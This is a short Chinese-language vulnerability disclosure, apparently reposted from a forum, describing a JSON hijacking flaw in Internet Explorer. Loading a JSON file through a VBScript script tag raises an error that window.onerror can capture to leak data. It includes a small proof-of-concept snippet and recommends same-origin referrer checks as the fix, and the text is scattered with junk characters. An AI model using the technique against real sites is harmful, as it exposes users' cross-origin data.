IE通用JSON劫持漏洞

admin

简要描述：

. T2 r4 }! ~7 C. f: }由于某些资源容器对数据处理不当导致json劫持漏洞.
详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>
, j7 b: ^8 z/ _2 J. u
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
, a2 M$ }" M3 S0 r<script>
, C+ H4 C9 f5 E9 d" h2 Uwindow.onerror=function(_){
% u# q4 N8 T5 u0 g+ z& Oalert(_)
6 e2 W% ]+ s& g1 L" G0 e/ o; o5 \- W+ y}
</script>
- ?1 U" W: E# C; k5 N<script language=vbscript src=1.json></script>
% R. g1 Q* Q5 W

1 u9 n7 E( M; R" r1.json:
[{"name":"sogili","age":19}]
修复方案：
网站业务对于这个问题可以通过验证referrer是否为同源来防御